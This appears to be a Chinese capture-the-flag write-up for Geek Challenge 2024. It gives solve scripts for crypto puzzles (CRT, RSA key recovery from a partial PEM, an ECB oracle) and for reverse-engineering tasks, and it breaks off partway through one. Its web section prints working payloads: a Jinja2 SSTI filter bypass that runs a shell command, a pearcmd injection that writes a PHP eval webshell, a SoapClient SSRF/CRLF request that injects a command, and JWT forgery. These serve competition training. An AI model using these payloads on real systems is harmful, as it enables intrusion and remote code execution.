# 计算爬n阶且每次最多能爬k阶的方法总数
k = 3 # 每次最多爬3阶
res = climb_stairs_limited_steps(n, k)
r.sendlineafter(':'.encode(),str(res).encode())
print(r.recvline())

r.interactive()

doSomeMath

lhRaMk7在没通过他的小升初数学考试之后来GSBP老师这里补习,发现他一道题都做不出来,大学生们能帮帮他吗

__le____lt__ 生成 True 或 False,等同于1和0。

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
n0 = '().__lt__(())'
n1 = '().__le__(())'
n2 = '().__le__(())+().__le__(())'
n3 = '().__le__(())+().__le__(())+().__le__(())'
n4 = '(().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))'
n5 = '(().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))+().__le__(())'
n6 = '(().__le__(())+().__le__(())+().__le__(()))*2'
n7 = '().__le__(())+().__le__(())+().__le__(())+(().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))'
n8 = '(().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))'
n9 = '(().__le__(())+().__le__(())+().__le__(()))*(().__le__(())+().__le__(())+().__le__(()))'
n10 = '((().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))+().__le__(()))*(().__le__(())+().__le__(()))'
n100 = f'({n10})*({n10})'
n1000 = f'({n10})*({n10})*({n10})'

num = f'({n9})*({n1000})+({n8})*({n100})+({n7})*({n10})+({n2})'
print(num)
print(eval(num))

# ((().__le__(())+().__le__(())+().__le__(()))*(().__le__(())+().__le__(())+().__le__(())))*((((().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))+().__le__(()))*(().__le__(())+().__le__(())))*(((().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))+().__le__(()))*(().__le__(())+().__le__(())))*(((().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))+().__le__(()))*(().__le__(())+().__le__(()))))+((().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))*(().__le__(())+().__le__(())))*((((().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))+().__le__(()))*(().__le__(())+().__le__(())))*(((().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))+().__le__(()))*(().__le__(())+().__le__(()))))+(().__le__(())+().__le__(())+().__le__(())+(().__le__(())+().__le__(()))*(().__le__(())+().__le__(())))*(((().__le__(())+().__le__(()))*(().__le__(())+().__le__(()))+().__le__(()))*(().__le__(())+().__le__(())))+(().__le__(())+().__le__(()))
# 9872

Crypto

nc

nc连接,包连接上即得flag

PoW+逐位问询。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce

r = remote('nc1.ctfplus.cn',34835)

table = string.ascii_letters+string.digits
def PoW():
r.recvuntil(b'XXXX+')
suffix = r.recv(16).decode()
r.recvuntil(b'== ')
cipher = r.recvline().strip().decode()
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
r.sendlineafter(b'XXXX: ', proof.encode())

PoW()

flag = b''

for i in range(1,33):
print(i)
r.sendlineafter(b'[-] ',str(i).encode())
r.recvuntil(b'[+] ')
flag += r.recvline().strip()

print(flag)

r.interactive()

# b'SYC{MAYB3_Y0U_KN0W_A1AN-B3<K3R?}'

ncoCRT

if gcd != 1:

基础CRT。

1
2
3
4
5
6
7
#Sage
p = [1921232050179818686537976490035, 2050175089402111328155892746480, 1960810970476421389691930930824, 1797713136323968089432024221276, 2326915607951286191807212748022]
c = [1259284928311091851012441581576, 1501691203352712190922548476321, 1660842626322200346728249202857, 657314037433265072289232145909, 2056630082529583499248887436721]
m = crt(c,p)
print(bytes.fromhex(m)[2:])

# SYC{wha+s_wr0n9!_CRT_bu+_n0+_<0mpr1me!}

inPEM

丸辣丸辣!开拓者抱头痛哭,我的原神被绳网上的神秘黑客挟持了!好心的绳匠们,你能帮可怜弱小仅仅一岁出头的小星核精讨回公道吗?

已知公钥解析得到:

1
2
n = 19909823107653171578063591352961144331355821517081529017694276790993397379180193511755806958091550033235815834847549265751244192211761569881061742997804509098095297146520946343734939782935970054031389390447526577982809412074573616889663964050032806967234869741452169276495048891650957729859124875343810181695665153129824527065062831773013713479602052423965588148263292672514853749647510938621421264137177666497737099263481269491867593812579958283619882699866915561357437484323854411934718569074869408000191465973545262527827064708529700071967884924505367105288433603597633451764659888020272057850625902629529400734213
e = 65537

已知部分私钥:

1
2
3
4
5
6
7
8
9
10
wZyyAzKowuDD1R48UelUskEv0W8AXLOHR4nni
2uqP/7tlAPCJrMVD8zoRsRviyUnqO6y7cV7G0Fo1AoGBALpb6vOC9Ya/BEYV8+yL
814K0KQc7LITkwqGrDWoDZAxmgWqVtoxHuhDWr5jF+ttFZBPx4fTezTEjarXXSt3
pB1c7EwnzO0Hy9qJH++g2dcCUCO8uGXBbAACZqCQZAAydSrM5zozWAYMBWcj54j0
LtyOEg4PWPXiTzJ//xxWaH+xAoGBAKFGRIyYD89JvlZA6oz7YnjzsnDlTq01td32
XAuw62dZQHWmg1npC3YtzFlgTyNY2QelObmryyc2vFnxVhTYcDXFLQwrX8X5YV4A
rFAAlyzxpNzYPzDHrdqLD6PhMU+wRuHVPyAtNBsL0N+mgQcsWJJvngSTHg86kJOl
HlNuLBGhAoGAFiG3VR+lubcPvXOVAvkt+c8rF6qcmXlb2Og0hNwDJ2roX98aqOVy
p5AWGPoA1siI4/RPIp1ClfEwKMjraun1ZJs/jKemaQk2hdhWkQ+6QinvUJbA1Lqm
TcRmKa1emY/U6I8ce6N69e7ver1DV4I/ugSahJlZT/JRyF5qj1uVZ/k=

去掉w转16进制:

672c80ccaa30b830f5478f147a552c904bf45bc0172ce1d1e279e2daea8fffbb6500f089acc543f33a11b11be2c949ea3bacbb715ec6d05a3502818100ba5beaf382f586bf044615f3ec8bf35e0ad0a41cecb213930a86ac35a80d90319a05aa56da311ee8435abe6317eb6d15904fc787d37b34c48daad75d2b77a41d5cec4c27cced07cbda891fefa0d9d7025023bcb865c16c000266a090640032752acce73a3358060c056723e788f42edc8e120e0f58f5e24f327fff1c56687fb102818100a146448c980fcf49be5640ea8cfb6278f3b270e54ead35b5ddf65c0bb0eb67594075a68359e90b762dcc59604f2358d907a539b9abcb2736bc59f15614d87035c52d0c2b5fc5f9615e00ac5000972cf1a4dcd83f30c7adda8b0fa3e1314fb046e1d53f202d341b0bd0dfa681072c58926f9e04931e0f3a9093a51e536e2c11a10281801621b7551fa5b9b70fbd739502f92df9cf2b17aa9c99795bd8e83484dc03276ae85fdf1aa8e572a7901618fa00d6c888e3f44f229d4295f13028c8eb6ae9f5649b3f8ca7a669093685d856910fba4229ef5096c0d4baa64dc46629ad5e998fd4e88f1c7ba37af5eeef7abd4357823fba049a8499594ff251c85e6a8f5b9567f9

按照私钥结构分割:

1
2
3
4
5
6
7
672c80ccaa30b830f5478f147a552c904bf45bc0172ce1d1e279e2daea8fffbb6500f089acc543f33a11b11be2c949ea3bacbb715ec6d05a35
028181
00ba5beaf382f586bf044615f3ec8bf35e0ad0a41cecb213930a86ac35a80d90319a05aa56da311ee8435abe6317eb6d15904fc787d37b34c48daad75d2b77a41d5cec4c27cced07cbda891fefa0d9d7025023bcb865c16c000266a090640032752acce73a3358060c056723e788f42edc8e120e0f58f5e24f327fff1c56687fb1 (dp)
028181
00a146448c980fcf49be5640ea8cfb6278f3b270e54ead35b5ddf65c0bb0eb67594075a68359e90b762dcc59604f2358d907a539b9abcb2736bc59f15614d87035c52d0c2b5fc5f9615e00ac5000972cf1a4dcd83f30c7adda8b0fa3e1314fb046e1d53f202d341b0bd0dfa681072c58926f9e04931e0f3a9093a51e536e2c11a1 (dq)
028180
1621b7551fa5b9b70fbd739502f92df9cf2b17aa9c99795bd8e83484dc03276ae85fdf1aa8e572a7901618fa00d6c888e3f44f229d4295f13028c8eb6ae9f5649b3f8ca7a669093685d856910fba4229ef5096c0d4baa64dc46629ad5e998fd4e88f1c7ba37af5eeef7abd4357823fba049a8499594ff251c85e6a8f5b9567f9

有:

1
2
dp = 0x00ba5beaf382f586bf044615f3ec8bf35e0ad0a41cecb213930a86ac35a80d90319a05aa56da311ee8435abe6317eb6d15904fc787d37b34c48daad75d2b77a41d5cec4c27cced07cbda891fefa0d9d7025023bcb865c16c000266a090640032752acce73a3358060c056723e788f42edc8e120e0f58f5e24f327fff1c56687fb1
dq = 0x00a146448c980fcf49be5640ea8cfb6278f3b270e54ead35b5ddf65c0bb0eb67594075a68359e90b762dcc59604f2358d907a539b9abcb2736bc59f15614d87035c52d0c2b5fc5f9615e00ac5000972cf1a4dcd83f30c7adda8b0fa3e1314fb046e1d53f202d341b0bd0dfa681072c58926f9e04931e0f3a9093a51e536e2c11a1

生成完整私钥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import *

n = 19909823107653171578063591352961144331355821517081529017694276790993397379180193511755806958091550033235815834847549265751244192211761569881061742997804509098095297146520946343734939782935970054031389390447526577982809412074573616889663964050032806967234869741452169276495048891650957729859124875343810181695665153129824527065062831773013713479602052423965588148263292672514853749647510938621421264137177666497737099263481269491867593812579958283619882699866915561357437484323854411934718569074869408000191465973545262527827064708529700071967884924505367105288433603597633451764659888020272057850625902629529400734213
e = 65537
c = 0x3ebcefe91cb56a985a514dacefe4e048c1e805a6a3a1afcdc405812044dce1ce247b1de001b77dcb83ff3f38b392dab34f0d2aabdcb2afe670f104b2dfa04c2ff88b563804993f5ce2babd8a81dbde7f99ffacbfb6a77723a84e6c7d758a4d89667b6e0f9308c9c154b8f8fdafa224fc9364ba2995ab5a4a8a608b43bffa1ae9007ffb224aa45485f861eed1cdfaa34efefdcb03cb12501a7f9ffd2336d86b12339c3ec8ea9f321d6d6a3df566f3325205c7ec84dffc107eabb5b06fcededa419914c61987c0ae11d502fe91846efd548bc1dc9fab733f838fe27e5f0a5452f1cd79e6d3b125f060aef698c30484aa386d6aa44e12871cb2b20ef3bebad1a90c
dp = 0x00ba5beaf382f586bf044615f3ec8bf35e0ad0a41cecb213930a86ac35a80d90319a05aa56da311ee8435abe6317eb6d15904fc787d37b34c48daad75d2b77a41d5cec4c27cced07cbda891fefa0d9d7025023bcb865c16c000266a090640032752acce73a3358060c056723e788f42edc8e120e0f58f5e24f327fff1c56687fb1
dq = 0x00a146448c980fcf49be5640ea8cfb6278f3b270e54ead35b5ddf65c0bb0eb67594075a68359e90b762dcc59604f2358d907a539b9abcb2736bc59f15614d87035c52d0c2b5fc5f9615e00ac5000972cf1a4dcd83f30c7adda8b0fa3e1314fb046e1d53f202d341b0bd0dfa681072c58926f9e04931e0f3a9093a51e536e2c11a1

for x in range(1, e):
if(e*dp%x==1):
p=(e*dp-1)//x+1
if(n%p!=0):
continue
q=n//p

f = (p-1)*(q-1)
d = inverse(e,f)

rsa_components = (n, e, d, p, q)
myrsa = RSA.construct(rsa_components)

private = open('private1.pem', 'wb')
private.write(myrsa.exportKey())
private.close()

openssl解 key.enc

openssl rsautl -decrypt -inkey private1.pem -in key.enc

得到: You_are_r1ght_bu7_Genshin_Impact_1s_@_brand_new_open_wor1d_@dventure_gam3_dev3loped_6y_miHoYo.

作为密码,提取 Ginshen.exe 中的 Ginshen.txt,末尾即为flag: SYC{OVvanSh3nO_Q1D0ng!}

ECBpad

点击就送!!!!!

ECB模式攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from tqdm import *

r=remote('nc1.ctfplus.cn',45839)

def pad(leng):
pad_len = block - (leng % block) if leng % block != 0 else 0
return b'F' * pad_len

secret_len = 31
ori_padding_len = 1
block = 16
flag = b''

padding = [pad(k) for k in range(16)]
padding = padding[1:]+[padding[0]]
print(padding)

for i in range(secret_len):
find=0
payload = b'*'*(ori_padding_len+i+1)

group = i//block
r.sendlineafter(b'[-] ',b'yes')
r.sendlineafter(b'[-] ',payload)
r.recvuntil(b'Your cipher:')
data = r.recvline().strip()
if group == 0:
prob=data[-32:]
else:
prob=(data[-32*(group+1):-32*(group+1)+32])
print(f'{i+1} prob = {prob}')
for j in trange(32,127):
r.sendlineafter(b'[-] ',b'yes')
flag_suffix = flag[:min(len(flag),15)]
payload = bytes([j]) + flag_suffix + padding[min(len(flag_suffix),15)]
#print(j,payload)
r.sendlineafter(b'[-] ',payload)
r.recvuntil(b'Your cipher:')
data = r.recvline().strip()
if data[:32]==prob:
flag = bytes([j]) + flag
print(f'{i+1} flag = {flag}')
print()
find=1
break
if find == 0:
print(f'{i+1} cannot find!')
break

r.interactive()

# 31 flag = b'SYC{CRY9T0HACK_A_GREA7_W38S17E}'

Web

ez_http

原本第一周的签到题放第二周给大家爽爽吧,点击就送

分步补充HTTP请求头:

1
2
3
4
5
6
7
POST /?welcome=geekchallenge2024

Referer: https://www.sycsec.com
X-Real-IP: 127.0.0.1
Starven: I_Want_Flag

username=Starven&password=qwert123456

得到:

give your cookie : token = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAyMDI0MDEsIm5iZiI6MTczMDIwMjQwMSwiZXhwIjoxNzMwMjA5NjAxLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6ZmFsc2V9.y-NlvKN8YH29AHLCFDboNz9WsXuPeUL2fzbmRHrfOAw<br><!--key is "Starven_secret_key"--><br>

到 jwt.io,使用key修改jwt为:

1
2
3
4
5
6
7
8
9
10
{
"iss": "Starven",
"aud": "Ctfer",
"iat": 1729859281,
"nbf": 1729859281,
"exp": 1729866481,
"username": "Starven",
"password": "qwert123456",
"hasFlag": true
}

得到后修改cookie得到flag:

Cookie: token = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAyMDIzMTAsIm5iZiI6MTczMDIwMjMxMCwiZXhwIjoxNzMwMjA5NTEwLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.8BOl75G67rPQZ2pd2Eq9eTfVYeNJ6QXu3dsYQA6I0cE

Can_you_Pass_Me

听GSBP师傅说你是ssti糕手,那就来秒了他

提交表单完成,返回值为200,需要分割绕过 __|attr 绕过 .,以及16进制绕关键字。

输入Payload:

{%print(joiner|attr('_''_init__')|attr('_''_globals__'))|attr('__g''etitem__')('_''_builtins__')|attr('__g''etitem__')('__import__')('o''s')|attr('p''open')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x7c\x62\x61\x73\x65\x36\x34')|attr('r''ead')()%}

得到结果base64解码为flag。

ez_include

web安全修仙之路-听说你学了文件包含?秒了这道题你就进入筑基阶段了

第一步,包含的软连接层数较多时,hash匹配会直接失效造成重复包含:

?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

base64解码得到:

1
2
3
<?php
$secret = "congratulation! you can goto /levelllll2.php to capture the flag!";
?>

第二步,根据提示 register_argc_argv = Onpearcmd

用pearcmd写入文件:

/levelllll2.php?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/tmp/1.php

再访问:

/levelllll2.php?1=system("env");&syc=/tmp/1.php

得到flag。

SecretInDrivingSchool

听说这运维一点安全不会

F12查看源码有注释:

<!-- 老板非说要防止黑客攻击,把后台登录路由改成了L000G1n.php,每次登录的时候都记不住,就放这里了吧,应该没人看见 -->

访问 L000G1n.php,密码格式为:三位字母+@chengxing,上burpsuite爆破,得到密码:SYC@chengxing

进入后台页面,广告修改功能,修改源码为:echo readgzfile("/flag");,回到首页底部看到flag。

ez_SSRF

lhRaMk7写了个计算器网站用来通过他的小升初数学考试,Parar看不惯直接黑了他的网站不给他作弊,你们觉得能让他作弊吗

/www.zip 源码泄露,发现对外用的是 h4d444444.php,对内用的是 calculator.php

Soapclient+SSRF,控制User-Agent,实现CRLF伪造,参考:利用SoapClient类进行SSRF+CRLF攻击

修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$target = 'http://127.0.0.1/calculator.php';
$post_string = 'expression=`cat /flag`';
$headers = array(
'Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0'
);
$aaa = 'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string;

$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace(' ','%20',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

发送POST请求:

1
2
3
4
POST /h4d333333.php?location=http://127.0.0.1/calculator.php HTTP/1.1
Host: 80-21b464e7-4ccf-4895-803d-98e820b7e112.challenge.ctfplus.cn

user=wupco%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aAuthorization:%20Basic%20YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Length:%2022%0d%0a%0d%0aexpression=`cat%20/flag`

最后访问 /result 下载得到flag。

Reverse

长颈鹿喜欢吃彩虹

长颈鹿想吃彩虹了,可以帮他它长高吃到彩虹吗,它肯定会给你彩虹糖的

ollvm,动调得到key和密文后,发现是一个简单的异或逻辑,逆:

1
2
3
4
5
6
7
8
9
10
k = b'BOb0m0oN'
c = [0x1D, 0x36, 0x73, 0x16, 0x49, 0x2D, 0x1A, 0x1D, 0x29, 0x06,
0x42, 0x2C, 0x76, 0x07, 0x10, 0x0E, 0x7E, 0x39, 0x55, 0x32,
0x75, 0x03, 0x1B, 0x1D, 0x19, 0x5F, 0x52, 0x23, 0x01, 0x03,
0x1D, 0x3F][::-1]

flag = [c[i]^k[i%len(k)] for i in range(len(c))]
print(bytes(flag[::-1]))

# b'SYC{yOU_girAFe_L0Ve_EaT_W0bN1aR}'

奇怪的RC4

指令敲一次?不!敲两次!

python解包+pyc反编译,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Rc4 import *

def xor1(plaintext, xor_list):
try:
xor_list = [ord(i) for i in xor_list]
except:
pass
try:
plaintext = [ord(i) for i in plaintext]
except:
pass
for i in range(len(plaintext)):
plaintext[i] ^= xor_list[i]
return plaintext

def xor2(plaintext):
try:
plaintext = [ord(i) for i in plaintext]
except:
pass
for i in range(len(plaintext) - 1):
plaintext[i + 1] = plaintext[i] ^ plaintext[i + 1]
return plaintext

def enc(plaintext, key, xor_list):
plaintext = rc4(plaintext, key)
plaintext = xor1(plaintext, xor_list)
plaintext = xor2(plaintext)
return plaintext
plaintext = input('please give your input:')
key = 'SYCFOREVER'
xor_list = list(range(len(plaintext)))
cipher = [158, 31, 205, 434, 354, 15, 383, 298, 304, 351, 465, 312, 261, 442, 397, 474, 310, 397, 31, 21, 78, 67, 47, 133, 168, 48, 153, 99, 103, 204, 137, 29, 22, 13, 228, 3, 136, 141, 248, 124, 26, 26, 65, 200, 7]
plaintext = enc(plaintext, key, xor_list)
for i in range(len(cipher)):
if cipher[i] != plaintext[i]:
print('Wrong')
exit(1)
print('You know the flag!!')

再反编译 Rc.pyc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def KSA(key):
j = 0
S = list(range(256))
key_length = len(key)
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = (S[j], S[i])
return S

def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = (S[j], S[i])
k = (S[i] + S[j]) % 256
yield k

def rc4(plaintext, key):
try:
key = [ord(i) for i in key]
except:
pass
try:
plaintext = [ord(i) for i in plaintext]
except:
pass
for i in range(len(plaintext)):
plaintext[i] += i
S = KSA(key)
xor_value = PRGA(S)
for i in range(len(plaintext)):
plaintext[i] ^= int(next(xor_value)) + 6
return plaintext

根据逻辑逆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from z3 import *

c = [158, 31, 205, 434, 354, 15, 383, 298, 304, 351, 465, 312, 261, 442, 397, 474, 310, 397, 31, 21, 78, 67, 47, 133, 168, 48, 153, 99, 103, 204, 137, 29, 22, 13, 228, 3, 136, 141, 248, 124, 26, 26, 65, 200, 7]
xor_list = list(range(len(c)))

for i in range(len(c)-2,-1,-1):
c[i+1] ^= c[i]

for i in range(len(c)):
c[i] ^= xor_list[i]

N = 256
S = [0] * N
key = 'SYCFOREVER'
Key = [0] * N

t = c[:]

for i in range(N):
S[i] = i
Key[i] = ord(key[i % len(key)])

j = 0
for i in range(N):
j = (j + S[i] + Key[i]) % N
S[i], S[j] = S[j], S[i]

i = 0
j = 0
for k in range(len(t)):
i = (i + 1) % N
j = (j + S[i]) % N
S[i], S[j] = S[j], S[i]
t[k] ^= (S[i] + S[j]) % N + 6

t = [t[i]-i for i in range(len(t))]
print(bytes(t))

# b'SYC{Bel1eve_thAt_you_a3e_Unique_@nd_tHe_beSt}'

好像是python?

Gir@ffe乱用python命令,得到了一个奇怪的文件,你能分析出完整逻辑吗?

python字节码,扔给gpt还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# 初始标识设置
flag = 'SYC{MD5(input)}'

# 提示用户输入
print('Please input0:')
input0 = ''

# 定义函数 test2
def test2(s2):
key = 'SYC'
length = 18
cipher = []
for i in range(length):
# 对每个字符进行 XOR 和其他变换
cipher.append(
(ord(s2[i]) ^ i) + ~ord(key[i % 3]) + 1
)
return cipher

# 定义函数 test
def test(s, R):
result = []
for i in s:
# 判断并转换大写字母
if 'A' <= i <= 'Z':
result.append(chr((ord(i) - ord('A') + R) % 26 + ord('A')))
# 判断并转换小写字母
elif 'a' <= i <= 'z':
result.append(chr((ord(i) - ord('a') + R) % 26 + ord('a')))
# 判断并转换数字
elif '0' <= i <= '9':
result.append(chr((ord(i) - ord('0') + R) % 10 + ord('0')))
# 其他字符不变
else:
result.append(i)
return ''.join(result)

# 初始化变量并进行运算
a = 13
b = 14
c = (a + b) ^ a
d = b * 100
e = a ^ b
m = d - c * 4 + e - 1

# 取模运算
r = m % 26

# 调用 test 和 test2 函数
cipher1 = test(input0, r)
cipher2 = test2(cipher1)

# 定义常量列表
num = [-1, -36, 26, -5, 14, 41, 6, -9, 60, 29, -28, 17, 21, 7, 35, 38, 26, 48]

# 验证 cipher2 是否与 num 匹配
for i in range(18):
if cipher2[i] != num[i]:
print('wrong!')
break
else:
print('Rrrright!')

逆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def deROT(s, R):
result = []
for i in s:
if 'A' <= i <= 'Z':
result.append(chr((ord(i) - ord('A') - R) % 26 + ord('A')))
elif 'a' <= i <= 'z':
result.append(chr((ord(i) - ord('a') - R) % 26 + ord('a')))
elif '0' <= i <= '9':
result.append(chr((ord(i) - ord('0') - R) % 10 + ord('0')))
else:
result.append(i)
return ''.join(result)

c = [-1, -36, 26, -5, 14, 41, 6, -9, 60, 29, -28, 17, 21, 7, 35, 38, 26, 48]
r = 14
key = b'SYC'
c1 = [(c[i] - ~key[i % 3] - 1)^i for i in range(len(c))]
print(bytes(c1))

c2 = deROT(bytes(c1).decode(),r)
print(c2)

#D0_You_Iik3_python
#SYC{ed798fdd74e5c382b9c7fcca88500aca}

DH爱喝茶

期待已久的DH终于来到你的家里,你欣喜若狂,但仍需按捺下心思,为DH备好花和茶吧。

除花之后,发现加密逻辑为tea加密,魔改key每次加密时,每个值需要左移6*4位。

逆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import *

def rol4(value, shift=6):
return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))

def ror4(value, shift=6):
return ((value >> shift) | (value << (32 - shift))) & 0xFFFFFFFF

def decrypt(v, k):
v0 = v[0]
v1 = v[1]
delta = ((k[0]^k[1])& 0xFF) + 0x98765432
x = delta * 32
k0 = k[0]
k1 = k[1]
k2 = k[2]
k3 = k[3]
for i in range(32):
v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v0 = v0 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v

key = [0x56789ABC, 0x6789ABCD, 0x789ABCDE, 0x89ABCDEF]
key = [rol4(k) for k in key]

encrypted = [0x1F85A965,0xEEC063EC,0x5BF1D0B6,0xF2FDE7B0,0xAA38809A,0x670772E9,0x360D24B9,0xE98C688C]

final = b''
for i in range(len(encrypted)//2-1,-1,-1):
now = decrypt(encrypted[2*i:2*(i+1)], key)
key[i] = ror4(key[i])
final = long_to_bytes(now[0])[::-1] + long_to_bytes(now[1])[::-1] + final

print(final)

b'SYC{DH_likes_flower_and_tea!!!!}'

玩就行了

师傅们思来想去想要给大家搞点乐趣,快来和三叶草娘一起玩游戏吧~

链接: https://pan.baidu.com/s/1gXKEZJbRhyEfO6BHHQ1bLw?pwd=game 提取码: game

Unity游戏,IlSpy 分析 \玩就行了\玩就行了_BackUpThisFolder_ButDontShipItWithYourGame\Managed,关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void SYC()
{
string hexString = LoadHexDataFromResources("output");
if (!string.IsNullOrEmpty(hexString))
{
string filePath = Path.Combine(Directory.GetParent(Application.dataPath).FullName, "Data.txt");
string directoryPath = Path.GetDirectoryName(filePath);
if (!Directory.Exists(directoryPath))
{
Directory.CreateDirectory(directoryPath);
}
File.WriteAllText(filePath, hexString);
Debug.Log("File saved at: " + filePath);
}
else
{
Debug.LogError("Failed to load hex data from resources.");
}
}

用AssetStudio加载资源文件 \玩就行了\玩就行了_Data\resources.assets

导出output内容,16进制转字节,保存为exe文件,逆向找到关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[117]; // [rsp+2Bh] [rbp-55h] BYREF
char Str[108]; // [rsp+A0h] [rbp+20h] BYREF
int v6; // [rsp+10Ch] [rbp+8Ch]

sub_14000181E(argc, argv, envp);
strcpy(v4, "GEEK");
sub_1400013B4("WOW~~Niceeeee to see you here!!!\n");
sub_1400013B4("Welcome to GEEK Challenge!!!!!\n");
sub_1400013B4("Please input your answer~\n");
sub_140001360("%s", Str);
v6 = strlen(Str);
sub_14000144B(Str, 20i64);
sub_140001596(Str, v4);
sub_14000161C(Str, &v4[5]);
if ( !strcmp(&v4[5], "0A161230300C2D0A2B303D2428233005242C2D26182206233E097F133A") )
sub_1400013B4("G00D!!!");
else
sub_1400013B4("Try again.");
sub_1400013B4("\nPress any key to continue...");
getchar();
return 0;
}

分析加密逻辑为 ROT20+异或GEEK,解密逻辑:异或GEEK+ROT6,得到flag:SYC{cOnGraduulaTions_mIneR:D}

CPP_flower

栀子花开啊开~

nop掉几种花指令:

1
2
3
4
1. jz xxx; jnz xxx
2. call near ptr xxx
3. jump
4. push xxx retn

大概还原出这样的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
__int64 sub_559D10()
{
int v0; // eax
__int64 v1; // rax
_DWORD *v2; // esi
int v3; // eax
__int64 v5; // [esp-8h] [ebp-23Ch]
int v6[41]; // [esp+2Ch] [ebp-208h] BYREF
int v7; // [esp+104h] [ebp-130h]
int Buf2[52]; // [esp+110h] [ebp-124h] BYREF
int i; // [esp+1E0h] [ebp-54h]
char v10[36]; // [esp+1ECh] [ebp-48h] BYREF
char v11[20]; // [esp+210h] [ebp-24h] BYREF
int v12; // [esp+230h] [ebp-4h]
int savedregs; // [esp+234h] [ebp+0h] BYREF

sub_551127(0x10u);
sub_5511C2(v11);
v12 = 0;
srand(0x7DE9u);
sub_551519();
sub_5514B0(v10);
LOBYTE(v12) = 1;
v0 = sub_55138E(std::cout, "give your input:");
std::ostream::operator<<(v0, sub_551073);
sub_551519();
sub_5513F7(std::cin, v10);
if ( sub_55181B(v10) == dword_566004 )
{
for ( i = 0; i < dword_566004; ++i )
{
rand();
